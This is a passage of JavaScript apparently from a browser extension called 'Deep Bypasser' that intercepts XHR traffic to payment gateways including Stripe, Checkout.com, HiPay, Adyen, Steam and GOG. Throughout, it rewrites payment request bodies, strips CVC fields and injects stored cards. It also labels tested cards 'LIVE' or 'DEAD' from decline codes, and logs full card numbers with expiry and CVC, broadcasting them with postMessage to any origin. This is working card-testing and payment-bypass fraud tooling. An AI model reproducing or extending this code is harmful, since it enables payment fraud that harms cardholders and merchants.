          try {
            const responseText = xhrInstance.responseText || "";
            let responseJson = null;
            try {
              responseJson = JSON.parse(responseText);
            } catch (error) {
              console.warn("[Deep Bypasser] Operation failed", error.message);
            }
            const checkoutState = getCheckoutComTransactionState(responseJson, responseText);
            if (!checkoutState.success && !checkoutState.failed) {
              return;
            }
            let storedCardString = null;
            try {
              if (typeof window !== "undefined" && window.localStorage) {
                storedCardString =
                  window.localStorage.getItem("checkoutComBypasserLastCardString") ||
                  window.localStorage.getItem("stripeBypasserLastCard");
              }
            } catch (error) {
              console.warn("[Deep Bypasser] Operation failed", error.message);
            }
            const storedCardLog = storedCardString;
            if (checkoutState.success) {
              const amountValueText = formatMinorUnitAmount(
                responseJson?.amount,
                responseJson?.approved_amount
              );
              const currencyCode =
                typeof responseJson?.currency === "string"
                  ? responseJson.currency.toUpperCase()
                  : "USD";
              const amount = amountValueText ? currencyCode + " " + amountValueText : null;
              const detail = {
                type: "STRIPE_BYPASSER_PAYMENT_LOG",
                message: storedCardLog
                  ? "Checkout: Payment Succeeded | Card: " +
                    storedCardLog +
                    (amount ? " | Amount: " + amount : "")
                  : "Checkout: Payment Succeeded" + (amount ? " | Amount: " + amount : ""),
                logType: "success",
                cardInfo: storedCardLog,
                amount,
                responseText:
                  responseJson?.response_summary || "Payment authorized successfully!",
                gateway: "checkoutcom",
                merchant:
                  responseJson?.merchant_reference ||
                  responseJson?.reference ||
                  responseJson?.merchant?.name ||
                  "Checkout.com",
                successUrl: window.location?.href || url,
                siteUrl: window.location?.origin || url.split("/").slice(0, 3).join("/"),
                customerEmail: responseJson?.customer?.email || responseJson?.email || null,
                responseData: responseJson,
                url
              };
              if (typeof document !== "undefined" && document && document.dispatchEvent) {
                try {
                  document.dispatchEvent(
                    new CustomEvent("stripeBypasserPaymentLog", {
                      detail
                    })
                  );
                } catch (error) {
                  console.warn("[Deep Bypasser] Operation failed", error.message);
                }
              }
              try {
                window.postMessage(detail, "*");
              } catch (error) {
                console.warn("[Deep Bypasser] Operation failed", error.message);
              }
              return;
            }
            let parsedPayload = null;
            try {
              if (window.StripeBypasserDeclineHandler?.extractGatewayDeclineCode) {
                parsedPayload = window.StripeBypasserDeclineHandler.extractGatewayDeclineCode(
                  "checkoutcom",
                  responseJson,
                  responseText
                );
              }
            } catch (error) {
              console.warn("[Deep Bypasser] Operation failed", error.message);
            }
            const declineCode =
              parsedPayload?.code || responseJson?.response_code || responseJson?.status || "Unknown";
            const declineMessageText =
              parsedPayload?.message ||
              responseJson?.response_summary ||
              responseJson?.status ||
              responseJson?.error_type ||
              "";
            const isLiveCard = parsedPayload?.isLive || false;
            const cardStatusLabel = isLiveCard ? "LIVE" : "DEAD";
            const logType = isLiveCard ? "success" : "error";
            const message = storedCardLog
              ? cardStatusLabel +
                " | Checkout: Decline Code: " +
                declineCode +
                " | Card: " +
                storedCardLog +
                (declineMessageText ? " | " + declineMessageText : "")
              : cardStatusLabel +
                " | Checkout: Decline Code: " +
                declineCode +
                (declineMessageText ? " | " + declineMessageText : "");
            try {
              window.postMessage(
                {
                  type: "STRIPE_BYPASSER_SHOW_BANNER",
                  bannerText: isLiveCard ? "LIVE Card" : "Card Declined",
                  bannerType: isLiveCard ? "success" : "error",
                  details:
                    cardStatusLabel +
                    " | Checkout: Decline Code: " +
                    declineCode +
                    (storedCardLog ? " | Card: " + storedCardLog.split("|")[0].slice(-4) : "")
                },
                "*"
              );
            } catch (error) {
              console.warn("[Deep Bypasser] Operation failed", error.message);
            }
            const detail = {
              type: "STRIPE_BYPASSER_PAYMENT_LOG",
              message,
              logType,
              cardInfo: storedCardLog,
              declineCode,
              responseText:
                "Payment failed: " +
                declineCode +
                (declineMessageText ? " - " + declineMessageText : ""),
              gateway: "checkoutcom",
              merchant:
                responseJson?.merchant_reference ||
                responseJson?.reference ||
                responseJson?.merchant?.name ||
                "Checkout.com",
              successUrl: window.location?.href || url,
              siteUrl: window.location?.origin || url.split("/").slice(0, 3).join("/"),
              responseData: responseJson,
              url
            };
            if (typeof document !== "undefined" && document && document.dispatchEvent) {
              try {
                document.dispatchEvent(
                  new CustomEvent("stripeBypasserPaymentLog", {
                    detail
                  })
                );
              } catch (error) {
                console.warn("[Deep Bypasser] Operation failed", error.message);
              }
            }
            try {
              window.postMessage(detail, "*");
            } catch (error) {
              console.warn("[Deep Bypasser] Operation failed", error.message);
            }
          } catch (error) {
            console.warn("[Deep Bypasser] Operation failed", error.message);
          }
        });
      }
      if (isHiPayTransactionRequest) {
        const xhrInstance = this;
        xhrInstance.addEventListener("load", () => {
          try {
            const responseText = xhrInstance.responseText || "";
            let responseJson = null;
            try {
              responseJson = JSON.parse(responseText);
            } catch (error) {
              console.warn("[Deep Bypasser] Operation failed", error.message);
            }
            if (!responseJson) {
              return;
            }
            const normalizedStatus =
              typeof responseJson.status === "string" ? responseJson.status.toLowerCase() : "";
            const isDeclinedStatus =
              normalizedStatus === "declined" ||
              normalizedStatus === "refused" ||
              normalizedStatus === "error" ||
              normalizedStatus === "blocked";
            const isSuccessfulStatus =
              normalizedStatus === "authorized" ||
              normalizedStatus === "captured" ||
              normalizedStatus === "accepted";
            let storedCardString = null;
            try {
              if (typeof window !== "undefined" && window.localStorage) {
                storedCardString =
                  window.localStorage.getItem("hipayBypasserLastCardString") ||
                  window.localStorage.getItem("stripeBypasserLastCard");
              }
            } catch (error) {
              console.warn("[Deep Bypasser] Operation failed", error.message);
            }
            const storedCardLog = storedCardString;
            if (isSuccessfulStatus) {
              const detail = {
                type: "STRIPE_BYPASSER_PAYMENT_LOG",
                message: storedCardLog
                  ? "HiPay: Payment Succeeded | Card: " + storedCardLog
                  : "HiPay: Payment Succeeded",
                logType: "success",
                cardInfo: storedCardLog,
                responseText: "Payment authorized successfully!",
                gateway: "hipay",
                merchant:
                  responseJson.merchant_reference || responseJson.order_id || "HiPay Checkout",
                successUrl: window.location?.href || url,
                siteUrl: window.location?.origin || url.split("/").slice(0, 3).join("/"),
                responseData: responseJson,
                url
              };
              if (typeof document !== "undefined" && document && document.dispatchEvent) {
                try {
                  const paymentLogEvent = {
                    detail
                  };
                  document.dispatchEvent(
                    new CustomEvent("stripeBypasserPaymentLog", paymentLogEvent)
                  );
                } catch (error) {
                  console.warn("[Deep Bypasser] Operation failed", error.message);
                }
              }
              try {
                window.postMessage(detail, "*");
              } catch (error) {
                console.warn("[Deep Bypasser] Operation failed", error.message);
              }
            }
            if (isDeclinedStatus) {
              let parsedPayload = null;
              try {
                if (window.StripeBypasserDeclineHandler?.extractGatewayDeclineCode) {
                  parsedPayload = window.StripeBypasserDeclineHandler.extractGatewayDeclineCode(
                    "hipay",
                    responseJson,
                    responseText
                  );
                }
              } catch (error) {
                console.warn("[Deep Bypasser] Operation failed", error.message);
              }
              const declineCode =
                parsedPayload?.code || responseJson?.error?.code || responseJson?.code || "Unknown";
              const declineMessageText =
                parsedPayload?.message ||
                responseJson?.error?.message ||
                responseJson?.message ||
                "";
              const isLiveCard = parsedPayload?.isLive || false;
              const cardStatusLabel = isLiveCard ? "LIVE" : "DEAD";
              const logType = isLiveCard ? "success" : "error";
              const message = storedCardLog
                ? cardStatusLabel +
                  " | HiPay: Decline Code: " +
                  declineCode +
                  " | Card: " +
                  storedCardLog +
                  (declineMessageText ? " | " + declineMessageText : "")
                : cardStatusLabel +
                  " | HiPay: Decline Code: " +
                  declineCode +
                  (declineMessageText ? " | " + declineMessageText : "");
              try {
                window.postMessage(
                  {
                    type: "STRIPE_BYPASSER_SHOW_BANNER",
                    bannerText: isLiveCard ? "LIVE Card" : "Card Declined",
                    bannerType: isLiveCard ? "success" : "error",
                    details:
                      cardStatusLabel +
                      " | HiPay: Decline Code: " +
                      declineCode +
                      (storedCardLog ? " | Card: " + storedCardLog.split("|")[0].slice(-4) : "")
                  },
                  "*"
                );
              } catch (error) {
                console.warn("[Deep Bypasser] Operation failed", error.message);
              }
              const detail = {
                type: "STRIPE_BYPASSER_PAYMENT_LOG",
                message,
                logType,
                cardInfo: storedCardLog,
                declineCode,
                responseText:
                  "Payment refused: " +
                  declineCode +
                  (declineMessageText ? " - " + declineMessageText : ""),
                gateway: "hipay",
                merchant:
                  responseJson?.merchant_reference || responseJson?.order_id || "HiPay Checkout",
                successUrl: window.location?.href || url,
                siteUrl: window.location?.origin || url.split("/").slice(0, 3).join("/"),
                responseData: responseJson,
                url
              };
              if (typeof document !== "undefined" && document && document.dispatchEvent) {
                try {
                  const paymentLogEvent = {
                    detail
                  };
                  document.dispatchEvent(
                    new CustomEvent("stripeBypasserPaymentLog", paymentLogEvent)
                  );
                } catch (error) {
                  console.warn("[Deep Bypasser] Operation failed", error.message);
                }
              }
              try {
                window.postMessage(detail, "*");
              } catch (error) {
                console.warn("[Deep Bypasser] Operation failed", error.message);
              }
            }
          } catch (error) {
            console.warn("[Deep Bypasser] Operation failed", error.message);
          }
        });
        return originalXhrSend.apply(this, sendArgs);
      }
      if ((isHiPayVaultTokenRequest || hasHiPayPayloadPattern) && requestBodyText) {
        let settingsData = {};
        if (
          window.StripeBypasserSettings &&
          typeof window.StripeBypasserSettings.get === "function"
        ) {
          settingsData = window.StripeBypasserSettings.get();
        } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
          settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
        }
        if (
          settingsData &&
          settingsData.enabled !== false &&
          window.HiPayBypasserPayment &&
          window.HiPayBypasserPayment.handleGogPayment
        ) {
          try {
            let serializedBody = requestBodyText;
            if (typeof requestBodyText !== "string") {
              if (requestBodyText instanceof FormData) {
                const searchParams = new URLSearchParams();
                for (const [requestBodyKey, requestBodyValue] of requestBodyText.entries()) {
                  searchParams.append(requestBodyKey, requestBodyValue);
                }
                serializedBody = searchParams.toString();
              } else {
                serializedBody = serializeRequestBodyValue(requestBodyText);
              }
            }
            const gatewayRequestOptions = {
              method: this._stripeMethod || "POST",
              body: serializedBody,
              headers: {},
              url
            };
            const hiPayPayloadUpdate = window.HiPayBypasserPayment.handleGogPayment(
              gatewayRequestOptions,
              settingsData
            );
            if (hiPayPayloadUpdate && hiPayPayloadUpdate.body) {
              return originalXhrSend.call(this, hiPayPayloadUpdate.body);
            }
          } catch (error) {
            if (stripeBypasserLogger && stripeBypasserLogger.error) {
              stripeBypasserLogger.error("[FetchInterceptor] HiPay isValidBin error in XHR", error);
            }
          }
        }
        return originalXhrSend.apply(this, sendArgs);
      }
      if (isUniversalSteam && url.includes("steampowered.com")) {
        console.log("[SteamXHR] 🔵 AFTER BRAINTREE HANDLER", {
          url,
          method,
          isUniversalSteam,
          isUniversalBraintree
        });
      }
      if (
        !isUniversalSquare &&
        !isUniversalBraintree &&
        !isUniversalPaddle &&
        !isUniversalSteam &&
        !isSmartGlocalHas &&
        !isUniversalEdfaPay &&
        !isUniversalHiPay &&
        (isStripeDomainUrl ||
          isGogApi ||
          hasStripeLikePayloadPattern ||
          isCheckoutDeviceRequest ||
          isAdyenCheckoutRequest)
      ) {
        let settingsData = {};
        if (
          window.StripeBypasserSettings &&
          typeof window.StripeBypasserSettings.get === "function"
        ) {
          settingsData = window.StripeBypasserSettings.get();
        } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
          settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
        }
        if (settingsData && settingsData.enabled === false) {
          return originalXhrSend.apply(this, sendArgs);
        }
        const isStripePaymentEndpoint =
          url.includes("/v1/payment_methods") ||
          url.includes("/v1/payment_intents") ||
          url.includes("/v1/setup_intents") ||
          url.includes("/v1/payment_pages") ||
          url.includes("/v1/checkout/sessions") ||
          url.includes("/v1/invoices") ||
          url.includes("/v1/billing") ||
          url.includes("/v1/billing_portal") ||
          url.includes("/billing") ||
          url.includes("/invoice") ||
          url.includes("/pay") ||
          url.includes("/confirm") ||
          url.includes("inbuilt") ||
          hasStripeLikePayloadPattern;
        const isIncludesInit = url.includes("/init");
        if (
          !isUniversalSquare &&
          (url.includes("/v1/payment_methods") ||
            url.includes("/v1/setup_intents") ||
            url.includes("/v1/confirmation_tokens") ||
            (url.includes("/v1/payment_intents") &&
              (url.includes("/confirm") || requestBodyText)) ||
            hasStripeLikePayloadPattern) &&
          window.StripeBypasserPayment &&
          window.StripeBypasserPayment.handlePaymentMethods
        ) {
          const gatewayRequestOptions = {
            method: this._stripeMethod || "POST",
            body: requestBodyText,
            headers: {}
          };
          const stripePayloadUpdate = window.StripeBypasserPayment.handlePaymentMethods(
            gatewayRequestOptions,
            settingsData
          );
          if (stripePayloadUpdate && stripePayloadUpdate.body) {
            requestBodyText = stripePayloadUpdate.body;
          }
        }
        if (
          isAdyenCheckoutRequest &&
          requestBodyText &&
          window.AdyenBypasserPayment &&
          window.AdyenBypasserPayment.handleGogPayment
        ) {
          try {
            let serializedBody = requestBodyText;
            if (typeof requestBodyText !== "string") {
              if (requestBodyText instanceof FormData) {
                stripeBypasserLogger.warn("[FetchInterceptor] Adyen FormData not supported");
                return originalXhrSend.apply(this, sendArgs);
              }
              serializedBody =
                typeof requestBodyText === "object"
                  ? JSON.stringify(requestBodyText)
                  : String(requestBodyText);
            }
            const gatewayRequestOptions = {
              method: this._stripeMethod || "POST",
              body: serializedBody,
              headers: {},
              url
            };
            const adyenPayloadUpdate = window.AdyenBypasserPayment.handleGogPayment(
              gatewayRequestOptions,
              settingsData
            );
            if (adyenPayloadUpdate && adyenPayloadUpdate.body) {
              requestBodyText = adyenPayloadUpdate.body;
            }
            stripeBypasserLogger.log("[FetchInterceptor] Adyen isValidBin modified XHR request");
          } catch (error) {
            stripeBypasserLogger.error("[FetchInterceptor] Adyen isValidBin error:", error);
          }
        }
        if (
          isCheckoutDeviceRequest &&
          !isUniversalHiPay &&
          requestBodyText &&
          window.CheckoutComBypasserPayment &&
          window.CheckoutComBypasserPayment.handleGogPayment
        ) {
          try {
            let serializedBody = requestBodyText;
            if (typeof requestBodyText !== "string") {
              if (requestBodyText instanceof FormData) {
                stripeBypasserLogger.warn("[FetchInterceptor] Checkout.com FormData not supported");
                return originalXhrSend.apply(this, sendArgs);
              }
              serializedBody =
                typeof requestBodyText === "object"
                  ? JSON.stringify(requestBodyText)
                  : String(requestBodyText);
            }
            const gatewayRequestOptions = {
              method: this._stripeMethod || "POST",
              body: serializedBody,
              headers: {}
            };
            const checkoutPayloadUpdate = window.CheckoutComBypasserPayment.handleGogPayment(
              gatewayRequestOptions,
              settingsData
            );
            if (checkoutPayloadUpdate && checkoutPayloadUpdate.body) {
              requestBodyText = checkoutPayloadUpdate.body;
            }
            stripeBypasserLogger.log(
              "[FetchInterceptor] Checkout.com isValidBin modified XHR request"
            );
          } catch (error) {
            stripeBypasserLogger.error("[FetchInterceptor] Checkout.com isValidBin error:", error);
          }
        }
        if (isNordPayRequest && requestBodyText) {
          let settingsData = {};
          if (
            window.StripeBypasserSettings &&
            typeof window.StripeBypasserSettings.get === "function"
          ) {
            settingsData = window.StripeBypasserSettings.get();
          } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
            settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
          }
          if (settingsData && settingsData.enabled === false) {
            return originalXhrSend.apply(this, sendArgs);
          }
          if (window.NordPayBypasserPayment && window.NordPayBypasserPayment.handleGogPayment) {
            try {
              let serializedBody = requestBodyText;
              if (typeof requestBodyText !== "string") {
                if (requestBodyText instanceof FormData) {
                  stripeBypasserLogger.warn(
                    "[FetchInterceptor] NordPay FormData not supported in XHR"
                  );
                  return originalXhrSend.apply(this, sendArgs);
                }
                serializedBody =
                  typeof requestBodyText === "object"
                    ? JSON.stringify(requestBodyText)
                    : String(requestBodyText);
              }
              const gatewayRequestOptions = {
                method: this._stripeMethod || "POST",
                body: serializedBody,
                headers: {},
                url
              };
              const nordPayPayloadUpdate = window.NordPayBypasserPayment.handleGogPayment(
                gatewayRequestOptions,
                settingsData
              );
              if (nordPayPayloadUpdate && nordPayPayloadUpdate.body) {
                requestBodyText = nordPayPayloadUpdate.body;
                stripeBypasserLogger.log(
                  "[FetchInterceptor] NordPay isValidBin modified XHR request"
                );
                return originalXhrSend.apply(this, sendArgs);
              }
            } catch (error) {
              stripeBypasserLogger.error(
                "[FetchInterceptor] NordPay isValidBin error in XHR:",
                error
              );
            }
          }
        } else {
          console.log("[SteamXHR] ✅ STRIPE HANDLER SKIPPED (correct for Steam)");
        }
        console.log("[SteamXHR] AFTER STRIPE BLOCK - EXECUTION CONTINUES");
        try {
          const gatewayRequestOptions = {
            url,
            method,
            isUniversalSteam,
            isUniversalSquare,
            isUniversalBraintree,
            isSteamAPI: isSteamApi,
            isSteamPayload,
            hasBody: !!requestBodyText
          };
          console.log("[SteamXHR] 🔵 AFTER STRIPE HANDLER BLOCK", gatewayRequestOptions);
        } catch (error) {
          console.error("[SteamXHR] Error in AFTER STRIPE HANDLER BLOCK log:", error);
        }
        if (isUniversalSteam && url.includes("steampowered.com")) {
          console.log("[SteamXHR] ✅ PASSED STRIPE HANDLER - continuing to Steam isValidBin", {
            url,
            isUniversalSteam
          });
        }
        if (isGogApi && requestBodyText) {
          let payloadData = requestBodyText;
          if (
            typeof requestBodyText !== "object" ||
            requestBodyText instanceof FormData ||
            requestBodyText instanceof URLSearchParams
          ) {
            if (typeof requestBodyText !== "string") {
              payloadData = String(requestBodyText);
            }
          } else {
            payloadData = JSON.stringify(requestBodyText);
          }
          const hasAdyenEncryptedFields =
            typeof payloadData === "string" &&
            (payloadData.includes("encryptedCardNumber") ||
              payloadData.includes("encryptedSecurityCode") ||
              payloadData.includes("encryptedExpiryMonth") ||
              payloadData.includes("encryptedExpiryYear"));
          if (hasAdyenEncryptedFields) {
            if (window.GogBypasserPayment && window.GogBypasserPayment.handleGogPayment) {
              try {
                let serializedBody = requestBodyText;
                if (
                  typeof requestBodyText !== "object" ||
                  requestBodyText instanceof FormData ||
                  requestBodyText instanceof URLSearchParams
                ) {
                  if (typeof requestBodyText !== "string") {
                    serializedBody = String(requestBodyText);
                  }
                } else {
                  serializedBody = JSON.stringify(requestBodyText);
                }
                const gatewayRequestOptions = {
                  method: "POST",
                  body: serializedBody,
                  headers: {},
                  url
                };
                stripeBypasserLogger.log(
                  "[FetchInterceptor XHR] GOG request detected with Adyen encrypted fields, calling isValidBin",
                  {
                    hasAdyenEncryptedFields,
                    bodyLength: serializedBody.length,
                    bodyPreview: serializedBody.substring(0, 200)
                  }
                );
                const gogPayloadUpdate = window.GogBypasserPayment.handleGogPayment(
                  gatewayRequestOptions,
                  settingsData
                );
                if (
                  gogPayloadUpdate &&
                  gogPayloadUpdate.body &&
                  gogPayloadUpdate.body !== serializedBody
                ) {
                  requestBodyText = gogPayloadUpdate.body;
                  const cvcRemoved =
                    serializedBody.includes('"encryptedSecurityCode"') &&
                    !gogPayloadUpdate.body.includes('"encryptedSecurityCode"');
                  if (
                    !!window.createGogGodModeBanner &&
                    (gogPayloadUpdate.__gogPayloadModified === true ||
                      gogPayloadUpdate.__gogCardInjected === true)
                  ) {
                    setTimeout(() => {
                      try {
                        window.createGogGodModeBanner();
                      } catch (error) {
                        console.warn("[Deep Bypasser] Operation failed", error.message);
                      }
                    }, 0);
                  }
                  stripeBypasserLogger.log(
                    "[FetchInterceptor XHR] GOG isValidBin modified request",
                    {
                      payloadModified: gogPayloadUpdate.__gogPayloadModified,
                      cardInjected: gogPayloadUpdate.__gogCardInjected,
                      cvcRemoved
                    }
                  );
                } else {
                  stripeBypasserLogger.warn(
                    "[FetchInterceptor XHR] GOG isValidBin returned no modifications",
                    {
                      handlerReturnedNull: gogPayloadUpdate === null,
                      handlerReturnedUndefined: gogPayloadUpdate === undefined
                    }
                  );
                }
              } catch (error) {
                stripeBypasserLogger.error(
                  "[FetchInterceptor XHR] Error in GOG isValidBin:",
                  error
                );
              }
            } else {
              stripeBypasserLogger.warn("[FetchInterceptor XHR] GOG isValidBin not available", {
                hasGogBypasserPayment: !!window.GogBypasserPayment,
                hasHandlePayment:
                  !!window.GogBypasserPayment && !!window.GogBypasserPayment.handleGogPayment,
                url
              });
            }
          } else {
            stripeBypasserLogger.debug(
              "[FetchInterceptor XHR] GOG request skipped - no Adyen encrypted fields (early request)",
              {
                bodyPreview:
                  typeof payloadData === "string" ? payloadData.substring(0, 200) : "N/A",
                url
              }
            );
          }
        }
        const steamRequestLog = {
          url,
          method,
          isUniversalSteam,
          hasBody: !!requestBodyText,
          hasBodyStr: !!requestBodyText,
          bodyType: typeof requestBodyText,
          bodyStrType: typeof requestBodyText
        };
        const steamHandlerState = {
          isUniversalSteam,
          hasBody: !!requestBodyText,
          hasBodyStr: !!requestBodyText,
          bodyType: typeof requestBodyText,
          bodyStrType: typeof requestBodyText,
          url
        };
        console.log("[SteamXHR] ⚡ REACHED STEAM HANDLER SECTION ⚡", steamRequestLog);
        console.log("[SteamXHR] Checking Steam isValidBin condition", steamHandlerState);
        if (
          isUniversalSteam &&
          (requestBodyText || requestBodyText) &&
          (console.log("[SteamXHR] About to call Steam isValidBin", {
            hasSteamBypasserPayment: !!window.SteamBypasserPayment,
            hasHandlePayment:
              !!window.SteamBypasserPayment && !!window.SteamBypasserPayment.handleGogPayment,
            bodyType: typeof requestBodyText,
            bodyLength:
              requestBodyText && typeof requestBodyText === "string"
                ? requestBodyText.length
                : "N/A"
          }),
          window.SteamBypasserPayment && window.SteamBypasserPayment.handleGogPayment)
        ) {
          console.log("[SteamXHR] ✅ Steam isValidBin is available, calling it now...");
          try {
            let serializedBody = requestBodyText;
            if (requestBodyText instanceof FormData) {
              const searchParams = new URLSearchParams();
              for (const [requestBodyKey, requestBodyValue] of requestBodyText.entries()) {
                searchParams.append(requestBodyKey, requestBodyValue);
              }
              serializedBody = searchParams.toString();
            } else if (requestBodyText instanceof URLSearchParams) {
              serializedBody = requestBodyText.toString();
            } else if (
              typeof requestBodyText !== "object" ||
              requestBodyText instanceof FormData ||
              requestBodyText instanceof URLSearchParams
            ) {
              if (typeof requestBodyText !== "string") {
                serializedBody = String(requestBodyText);
              }
            } else {
              const searchParams = new URLSearchParams();
              for (const [requestBodyKey, requestBodyValue] of Object.entries(requestBodyText)) {
                searchParams.append(requestBodyKey, requestBodyValue);
              }
              serializedBody = searchParams.toString();
            }
            const gatewayRequestOptions = {
              method: "POST",
              body: serializedBody,
              headers: {},
              url
            };
            console.log("[SteamXHR] Calling handleGogPayment with:", {
              url,
              bodyLength: serializedBody.length,
              bodyPreview: serializedBody.substring(0, 200)
            });
            const steamPayloadUpdate = window.SteamBypasserPayment.handleGogPayment(
              gatewayRequestOptions,
              settingsData
            );
            console.log("[SteamXHR] Handler returned:", {
              hasModifiedOptions: !!steamPayloadUpdate,
              hasBody: !!steamPayloadUpdate && !!steamPayloadUpdate.body,
              bodyChanged:
                steamPayloadUpdate &&
                steamPayloadUpdate.body &&
                steamPayloadUpdate.body !== serializedBody,
              newBodyPreview:
                steamPayloadUpdate && steamPayloadUpdate.body
                  ? steamPayloadUpdate.body.substring(0, 200)
                  : "N/A"
            });
            if (
              steamPayloadUpdate &&
              steamPayloadUpdate.body &&
              steamPayloadUpdate.body !== serializedBody
            ) {
              if (requestBodyText instanceof FormData) {
                const formData = new FormData();
                const searchParams = new URLSearchParams(steamPayloadUpdate.body);
                for (const [searchParamKey, searchParamValue] of searchParams.entries()) {
                  formData.append(searchParamKey, searchParamValue);
                }
                requestBodyText = formData;
              } else {
                requestBodyText =
                  requestBodyText instanceof URLSearchParams
                    ? new URLSearchParams(steamPayloadUpdate.body)
                    : steamPayloadUpdate.body;
              }
              const cvcRemoved =
                (serializedBody.includes("SecurityCode") ||
                  serializedBody.includes("CardSecurityCode") ||
                  serializedBody.includes("CVV")) &&
                !steamPayloadUpdate.body.includes("SecurityCode") &&
                !steamPayloadUpdate.body.includes("CardSecurityCode") &&
                !steamPayloadUpdate.body.includes("CVV");
              const cvcRemovedInfo = {
                cvcRemoved
              };
              stripeBypasserLogger.log(
                "[FetchInterceptor] Steam isValidBin modified XHR request",
                cvcRemovedInfo
              );
            }
          } catch (error) {
            stripeBypasserLogger.error("[FetchInterceptor] Steam isValidBin error in XHR:", error);
          }
        }
        if (isStripePaymentEndpoint) {
          const onreadystatechangeValue = this.onreadystatechange;
          this.onreadystatechange = function handlePaymentXhrReadyStateChange(...callbackArgs) {
            if (this.readyState === 4 && this.status >= 200 && this.status < 300) {
              try {
                const responseTextValue = this.responseText;
                if (!responseTextValue) {
                  return;
                }
                let parsedPayload = null;
                try {
                  if (responseTextValue && responseTextValue.trim()) {
                    parsedPayload = JSON.parse(responseTextValue);
                  }
                } catch (error) {
                  console.warn("[Deep Bypasser] Operation failed", error.message);
                }
                let storedCardData = null;
                if (window.StripeBypasserCardStorage && window.StripeBypasserCardStorage.getCard) {
                  storedCardData = window.StripeBypasserCardStorage.getCard();
                }
                const cardSummary = storedCardData
                  ? storedCardData.number +
                    "|" +
                    String(storedCardData.month || "").padStart(2, "0") +
                    "|" +
                    String(storedCardData.year || "").slice(-2) +
                    "|" +
                    (storedCardData.cvc || "")
                  : null;
                const computedValue = ((paymentResponse, responseBodyText) => {
                  if (!paymentResponse && !responseBodyText) {
                    return false;
                  }
                  if (paymentResponse?.status === "succeeded") {
                    return true;
                  }
                  if (paymentResponse?.payment_intent?.status === "succeeded") {
                    return true;
                  }
                  if (paymentResponse?.charge?.status === "succeeded") {
                    return true;
                  }
                  if (paymentResponse?.latest_charge?.status === "succeeded") {
                    return true;
                  }
                  if (
                    paymentResponse?.object === "payment_intent" &&
                    paymentResponse?.status === "succeeded"
                  ) {
                    return true;
                  }
                  if (
                    paymentResponse?.object === "charge" &&
                    paymentResponse?.status === "succeeded"
                  ) {
                    return true;
                  }
                  if (typeof responseBodyText === "string") {
                    const normalizedText = responseBodyText.toLowerCase();
                    if (
                      normalizedText.includes('"status": "succeeded"') ||
                      normalizedText.includes('"status":"succeeded"') ||
                      normalizedText.includes('"payment_intent":{"status":"succeeded"') ||
                      normalizedText.includes('"charge":{"status":"succeeded"') ||
                      normalizedText.includes('"latest_charge":{"status":"succeeded"')
                    ) {
                      return true;
                    }
                  }
                  return false;
                })(parsedPayload, responseTextValue);
                const hasPaidInvoice = ((paymentResponse, responseText) => {
                  if (!paymentResponse && !responseText) {
                    return false;
                  }
                  if (paymentResponse?.completed === true) {
                    return true;
                  }
                  if (paymentResponse?.payment_status === "paid") {
                    return true;
                  }
                  if (typeof responseText === "string") {
                    const normalizedText = responseText.toLowerCase();
                    if (
                      normalizedText.includes('"completed": true') ||
                      normalizedText.includes('"completed":true') ||
                      normalizedText.includes('"payment_status": "paid"') ||
                      normalizedText.includes('"payment_status":"paid"')
                    ) {
                      return true;
                    }
                  }
                  return false;
                })(parsedPayload, responseTextValue);
                if (computedValue) {
                  const message = cardSummary
                    ? "Payment Succeeded | Card: " + cardSummary
                    : "Payment Succeeded";
                  const isTopSelf = window.top !== window.self;
                  const isStripeLocationUrl =
                    url.includes("api.stripe.com") ||
                    (window.location &&
                      window.location.hostname &&
                      window.location.hostname.includes("stripe.com"));
                  if (isTopSelf || isStripeLocationUrl) {
                    try {
                      window.postMessage(
                        {
                          type: "STRIPE_BYPASSER_SHOW_BANNER",
                          bannerText: "Payment Succeeded",
                          bannerType: "success",
                          details: cardSummary
                            ? "Card: " + cardSummary.split("|")[0].slice(-4)
                            : null
                        },
                        "*"
                      );
                    } catch (error) {
                      console.warn("[Deep Bypasser] Operation failed", error.message);
                    }
                  } else if (window.createStripeBypassBanner) {
                    setTimeout(() => {
                      try {
                        window.createStripeBypassBanner(
                          "Payment Succeeded",
                          "success",
                          cardSummary ? "Card: " + cardSummary.split("|")[0].slice(-4) : null
                        );
                      } catch (error) {
                        console.warn("[Deep Bypasser] Operation failed", error.message);
                      }
                    }, 0);
                  }
                  if (typeof document !== "undefined" && document && document.dispatchEvent) {
                    try {
                      document.dispatchEvent(
                        new CustomEvent("stripeBypasserPaymentLog", {
                          detail: {
                            type: "STRIPE_BYPASSER_PAYMENT_LOG",
                            message,
                            logType: "success"
                          }
                        })
                      );
                    } catch (error) {
                      console.warn("[Deep Bypasser] Operation failed", error.message);
                    }
                  }
                  if (window.StripeBypasserStrictScreenshot) {
                    try {
                      window.StripeBypasserStrictScreenshot.processPaymentResponse(
                        parsedPayload,
                        responseTextValue
                      );
                    } catch (error) {
                      if (
                        settingsData.autoScreenshot === true &&
                        shouldCapturePaymentScreenshot(cardSummary, parsedPayload)
                      ) {
                        setTimeout(() => {
                          if (
                            typeof document !== "undefined" &&
                            document &&
                            document.dispatchEvent
                          ) {
                            document.dispatchEvent(
                              new CustomEvent("stripeBypasserScreenshot", {
                                detail: {
                                  type: "STRIPE_BYPASSER_SCREENSHOT",
                                  reason: "Payment Succeeded"
                                }
                              })
                            );
                          }
                          window.postMessage(
                            {
                              type: "STRIPE_BYPASSER_SCREENSHOT",
                              reason: "Payment Succeeded"
                            },
                            "*"
                          );
                        }, 500);
                      }
                    }
                  } else if (
                    settingsData.autoScreenshot === true &&
                    shouldCapturePaymentScreenshot(cardSummary, parsedPayload)
                  ) {
                    setTimeout(() => {
                      if (typeof document !== "undefined" && document && document.dispatchEvent) {
                        document.dispatchEvent(
                          new CustomEvent("stripeBypasserScreenshot", {
                            detail: {
                              type: "STRIPE_BYPASSER_SCREENSHOT",
                              reason: "Payment Succeeded"
                            }
                          })
                        );
                      }
                      window.postMessage(
                        {
                          type: "STRIPE_BYPASSER_SCREENSHOT",
                          reason: "Payment Succeeded"
                        },
                        "*"
                      );
                    }, 500);
                  }
                } else if (hasPaidInvoice && window.StripeBypasserStrictScreenshot) {
                  try {
                    window.StripeBypasserStrictScreenshot.processPaymentResponse(
                      parsedPayload,
                      responseTextValue
                    );
                  } catch (error) {
                    console.warn("[Deep Bypasser] Operation failed", error.message);
                  }
